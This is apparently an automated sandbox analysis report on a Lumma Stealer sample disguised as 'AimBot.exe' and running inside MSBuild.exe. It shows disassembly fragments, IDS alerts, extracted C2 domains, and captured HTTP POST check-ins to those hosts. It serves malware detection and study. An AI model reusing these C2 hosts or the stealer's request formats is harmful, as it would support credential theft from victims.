Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp word ptr [edi+eax+02h], 0000h	3_2_0041FA1F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp word ptr [ebp+ecx+02h], 0000h	3_2_00422AB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov word ptr [eax], dx	3_2_00422AB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esp+000006B0h]	3_2_00420B17
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esp]	3_2_00447BD9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 53F09CFAh	3_2_0044ABE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esp+0Ch]	3_2_0040DC40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx edx, byte ptr [esi+edi]	3_2_00404CC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esi+1Ch]	3_2_00435CC7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esp+08h]	3_2_00415CDC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx edx, byte ptr [ecx+eax]	3_2_0040FCF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 62429966h	3_2_00444D50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 53F09CFAh	3_2_0044AD70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esi+1Ch]	3_2_00435D1F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esp+00000094h]	3_2_0040EDDC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx edx, byte ptr [esi+ebx]	3_2_00405DF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	3_2_00431DF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esp]	3_2_00446E70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp word ptr [ecx+edx+02h], 0000h	3_2_0044AEF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp dword ptr [ebp+edx*8+00h], 9ECF05EBh	3_2_0044AEF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], F3285E74h	3_2_00445EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp edx	3_2_00429F0A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esp]	3_2_00446E70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esp+60h]	3_2_0042FFB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esp+60h]	3_2_0042FFB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp word ptr [edi+eax+02h], 0000h	3_2_0042FFB0

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.8:49705 -> 172.67.178.50:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.8:49705 -> 172.67.178.50:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.8:49707 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.8:49707 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.8:49706 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.8:49706 -> 188.114.96.3:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: bleedminejw.buzz
Source: Malware configuration extractor	URLs: exilepolsiy.sbs
Source: Malware configuration extractor	URLs: bemuzzeki.sbs
Source: Malware configuration extractor	URLs: laddyirekyi.sbs
Source: Malware configuration extractor	URLs: exemplarou.sbs
Source: Malware configuration extractor	URLs: isoplethui.sbs
Source: Malware configuration extractor	URLs: frizzettei.sbs
Source: Malware configuration extractor	URLs: invinjurhey.sbs
Source: Malware configuration extractor	URLs: wickedneatr.sbs

Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3
Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3

Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: bleedminejw.buzz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: frizzettei.sbs
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedCookie: __cf_mw_byp=Slh2xKC6u1nYc7st0dYsutMki5jZz_jSR6BDANkdsb0-1728276253-0.0.1.1-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 54Host: frizzettei.sbs

Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.226
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.226
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.226
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.226
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.226
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.226
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: bleedminejw.buzz
Source: global traffic	DNS traffic detected: DNS query: frizzettei.sbs

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: bleedminejw.buzz

Source: AimBot.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: AimBot.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: AimBot.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: AimBot.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: AimBot.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: AimBot.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: AimBot.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: AimBot.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: AimBot.exe	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0=
Source: AimBot.exe	String found in binary or memory: http://ocsp.digicert.com0
Source: AimBot.exe	String found in binary or memory: http://ocsp.digicert.com0A
Source: AimBot.exe	String found in binary or memory: http://ocsp.digicert.com0C
Source: AimBot.exe	String found in binary or memory: http://ocsp.digicert.com0X
Source: Amcache.hve.6.dr	String found in binary or memory: http://upx.sf.net
Source: AimBot.exe	String found in binary or memory: http://www.digicert.com/CPS0
Source: MSBuild.exe, 00000003.00000002.1566098236.000000000148D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://frizzettei.sbs/
Source: MSBuild.exe, 00000003.00000002.1566098236.00000000014A4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://frizzettei.sbs/api
Source: MSBuild.exe, 00000003.00000002.1566098236.00000000014A4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://frizzettei.sbs/apiPs

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
